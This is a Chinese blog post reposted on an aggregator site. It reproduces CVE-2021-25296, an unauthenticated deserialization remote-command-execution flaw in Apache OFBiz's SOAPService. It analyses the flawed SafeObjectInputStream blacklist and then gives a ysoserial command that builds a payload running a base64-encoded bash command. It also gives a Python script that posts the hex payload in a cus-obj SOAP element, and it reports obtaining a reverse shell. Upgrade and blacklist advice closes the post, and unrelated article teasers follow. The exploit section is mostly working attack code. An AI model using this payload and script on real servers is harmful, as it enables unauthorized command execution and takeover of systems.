CVE-2021-25296 复现

news2024/11/28 19:40:01

# 漏洞描述

名称:Apache OFBiz rmi反序列化漏洞

cve编号:cve-2021-25296

危害:未授权远程命令执行

影响版本:Apache OFBiz < 17.12.06

OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了一整套的开发基于Java的web应用程序的组件和工具,已经正式成为 Apache 的顶级项目。

rmi 是 java 远程方法调用,它能让某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。值得注意的是,rmi 传输过程必然会使用序列化和反序列化,如果使用不当,很容易造成反序列化漏洞。

# 漏洞分析

通过分析,触发漏洞的路由为 /webtools/control/SOAPService,SOAPService的EventHandler为SOAPEventHandler,SOAPEventHandler调用了SoapSerializer.deserialize,SoapSerializer.deserialize 又调用了 XmlSerializer.deserialize,该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml,deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()

在 deserializeCustom 方法中,如果标签为cus-obj则获取元素内容,并将其传入 getObject 方法中,getObject又调用了 getObjectException 方法

getObjectException 方法代码如下:

public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes); 
	SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
	return wois.readObject();
} 
}

代码中调用了 SafeObjectInputStream 对象的 readObject 进行反序列化,我们知道 SafeObjectInputStream 是重写后的 ObjectInputStream,在 ObjectInputStream 的基础上加了黑白名单过滤,我们来分析一下漏洞修复前的 SafeObjectInputStream 代码与修复后的差距,如下图所示

className.contains 后是黑黑名单的内容,绿色表示新增,红色表示删除,可以看到,在修复前黑名单的内容只有 org.apache.commons.fileupload,还是可以通过修复后增加的 java.rmi.server 触发漏洞执行命令

# 漏洞利用

使用 ysoserial 生成漏洞利用的 payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME  "bash -c {echo,想要执行的命令的base64编码}|{base64,-d}|{bash,-i}" | xxd|cut -f 2,3,4,5,6,7,8,9 -d " "|tr -d ' '|tr -d '\n'

因为命令执行成功也不会有回显,所以下面使用了 反弹 shell 的命令

将得到的 hex 数据赋给下面 payload 的变量 hex_data

import requests

url = 'http://host:port' + '/webtools/control/SOAPService'

hex_data = "aced000573.......000678"

headers = {
    'Content-Type': 'text/xml'
}

data = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
     <test>
        <cus-obj>{hex_data}</cus-obj>
     </test>
</soapenv:Body></soapenv:Envelope>'''

response = requests.post(url, data=data, headers=headers, verify=False, timeout=5)

if 'check your parameters' in response.text:
    print("maybe succeed")
else:
    print("maybe failed")

在 vps 上开启监听,运行脚本,成功获取shell

# 修复建议

  1. 升级 ofbiz 到版本大于 17.12.06
  2. 仿造官方修复办法,添加黑名单 java.rmi.server
  3. 限制不信任用户对 rmi 服务的访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/152987.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python识别屏幕题目并模拟做题

前言 马上就要过年了&#xff0c;有许多小伙伴们本本还没拿到&#xff0c;还在苦苦刷题&#xff0c;一直及格不了&#xff0c;现在&#xff0c;我们用Python模拟做题&#xff0c;看看效果。 环境使用 python 3.9pycharm 模块使用 requestsreselenium谷歌驱动 import reimpor…

动态规划|474. 一和零

题目看上去很唬人&#xff0c;但是恰恰是这样说明该题设计的目的很强&#xff0c;指向dp的01背包&#xff0c;就是为了考01背包设计的。 像极了中学时代的那种看上去花里胡哨&#xff0c;实质上是根据考点设计出题的题目。&#xff08;这种题看破出题意图&#xff0c;往往都很简…

电脑是自动获取ip,VMware安装linux时候,设置固定ip并且能访问外网

首先虚拟机网络模式是NAT模式。设置主机名和打开网络&#xff0c;也可以不设置主机名&#xff1a;安装好后&#xff0c;设置linux的ip地址。执行vi /etc/sysconfig/network-scripts/ifcfg-ens33&#xff0c;修改里面的ip配置&#xff1a;注意IP的范围。查看ip的范围的方法如下图…

Day 5 Spring的后处理器

1 Spring后处理器Spring的后处理器是Spring对外开发的重要扩展点&#xff0c;允许我们介入到整个Bean实例化流程中来&#xff0c;以达到动态注册BeanDefinition&#xff0c;动态修改BeanDefinition&#xff0c;以及动态修改Bean的作用。BeanFactoryPostProcessor: Bean工厂后处…

基于蜜蜂算法求解电力系统经济调度(Matlab代码实现)

目录 1 蜜蜂优化算法 1.1 蜂群觅食机制 1.2 蜜蜂算法 1.3 流程 2 经济调度 3 运行结果 4 参考文献 5 Matlab代码实现 1 蜜蜂优化算法 蜜蜂算法( Bees Algorithm&#xff0c;BA) 由英国学者 AfshinGhanbarzadeh 和他的研究小组于 2005 年提出。该算法是一种有别于蚁群…

学习使用php获取数组最大值并返回对应键名max和array_search函数,最后一个元素的值使用end函数

在php中&#xff0c;可以使用max函数和array_search函数获得数组的最大值&#xff0c;同时获得最大值对应的键名解决方案打印结果解决方案 使用max函数获得数组的最大值&#xff0c;并使用array_search函数找到最大值对应的键名&#xff0c;键名保存在$key变量中。 end() 函数…

android架构拆分方案

编译拆https://blog.csdn.net/dongyi1988/article/details/128629011结构拆https://blog.csdn.net/dongyi1988/article/details/128633808一、背景android设备已经遍及各行各业&#xff0c;手机整个项目阶段包括需求沟通&#xff0c;硬件设计打板&#xff0c;研发联调&#xff…

新网站如何快速被收录?网站收录如何查询

新网站如何快速被收录? 首先是向搜索引擎提交 各大搜索引擎都向网站提供了自动提交功能&#xff0c;而百度搜索引擎也有网站提交入口&#xff0c;主动提交网站能够增加百度收录几率&#xff0c;让搜索引擎尽快发现我们的网站已经上线。 然后是做好SEO优化&#xff1b; 1.网站内…

强(矩阵快速幂)

题目描述 Lh&#xff1a;粉兔你教我一下抽屉原理吧 Clz&#xff1a;就是给你一个长度为 n 的序列&#xff0c;每个数只能取 0,1,2&#xff0c;那你连续取三个数必然有两个相等…… Lh&#xff1a;等等你梭啥&#xff0c;再说一遍 Clz&#xff1a;……emmm 当我没说 Marser&…

测试框架 Jest 实用教程

官网 https://jestjs.io/docs/getting-started 安装 cnpm i --save-dev jest使用 在项目中的任意位置&#xff08;通常单独建个名为 test 的文件夹&#xff09;新建以 .test.js 为后缀的测试文件&#xff0c;如 expect.test.js &#xff08;若项目中有 test.js 存在&#xff0c…

【阶段三】Python机器学习10篇:机器学习项目实战:K近邻算法的基本原理、计算步骤与KNN(K近邻)分类模型

本篇的思维导图: K近邻算法(英文为K-Nearest Neighbor,因而又简称KNN算法)是非常经典的机器学习算法。 K近邻算法的基本原理 K近邻算法的原理非常简单:对于一个新样本,K近邻算法的目的就是在已有数据中寻找与它最相似的K个数据,或者说“离它最近”的K个数…

设计模式——备忘录模式

备忘录模式一、基本思想二、应用场景三、结构图四、代码五、优缺点5.1 优点5.2 缺点一、基本思想 在不破坏封装性的前提下&#xff0c;捕获一个对象的内部状态&#xff0c;并在该对象之外保存这个状态&#xff0c;以便以后当需要时能将该对象恢复到原先保存的状态。该模式又叫…

Bilibili支持了AV1编码,关于AV1编码你知道吗?

Bilibili支持了AV1编码&#xff0c;关于AV1编码你知道吗&#xff1f; AV1编码是一种新的视频编码标准&#xff0c;由联合开发的开源编码器&#xff0c;它由英特尔、微软、谷歌、苹果、Netflix、AMD、ARM、NVIDIA和其他一些公司共同开发&#xff0c;旨在替代H.264和HEVC等现有的…

Word控件 Aspose.words for.NET 授权须知

Aspose.Words 是一种高级Word文档处理API&#xff0c;用于执行各种文档管理和操作任务。API支持生成&#xff0c;修改&#xff0c;转换&#xff0c;呈现和打印文档&#xff0c;而无需在跨平台应用程序中直接使用Microsoft Word。此外&#xff0c; Aspose API支持流行文件格式处…

实验 2 灰度变换与空间滤波

目录实验 2 灰度变换与空间滤波一、实验目的二、实验例题1. 灰度变换函数 imadjust2. 使用对数变换压缩动态范围。3. 直方图均衡化 histogram equalization实验 2 灰度变换与空间滤波 一、实验目的 掌握灰度变换的原理和应用。掌握对数变换、幂律变换和直方图均衡化的原理和应…

融合注意力模块SE基于轻量级yolov5s实践路面坑洼目标检测系统

在很多的项目实战中验证分析注意力机制的加入对于模型最终性能的提升发挥着积极正向的作用&#xff0c;在我之前的一些文章里面也做过了一些尝试&#xff0c;这里主要是想基于轻量级的s系列模型来开发构建路面坑洼检测系统&#xff0c;在模型中加入SE注意力模块&#xff0c;以期…

Android开发-AS学习(二)

1.5 ProgressBar常用属性描述android:max进度条的最大值android:progress进度条已完成进度值android:indeterminate如果设置为true&#xff0c;则进度条不精确显示进度style“&#xff1f;android:attr/progressBarStyleHorizontal"水平进度条MainActivity.java package c…

机试_1_暴力求解

一、枚举 判断是否可以使用枚举&#xff1a;分析数据量。 若时间限制在1000ms的情况下&#xff0c;大约可以进行10⁷的运算。 复杂度数据量O(n!)10O(2ⁿ)20O(n)200O(n)3000O(nlogn)10⁶O(n)10⁷O(√10)10⁴O(logn)>10⁰1 abc–清华大学 描述 设a、b、c均是0到9之间的数字…

Java课程设计——学生成绩管理系统

1 需求分析1.1 需求分析概述需求分析是开发软件系统的重要环节&#xff0c;是系统开发的第一步和基础环节。通过需求分析充分认识系统的目标、系统的各个组成部分、各部分的任务职责、工作流程、工作中使用的各种数据及数据结构、各部门的业务关系和数据流程等&#xff0c; 为系…

nacos的配置管理

前言 此博客对nacos的配置管理进行简单介绍&#xff0c;如果降配置文件放在项目中&#xff0c;那么每次进行修改后都要重新编译部署项目&#xff0c;是极其不方便的&#xff0c;如果将配置文件放在一个固定的位置&#xff0c;尽管解决了以上的问题&#xff0c;但是管理起来还不…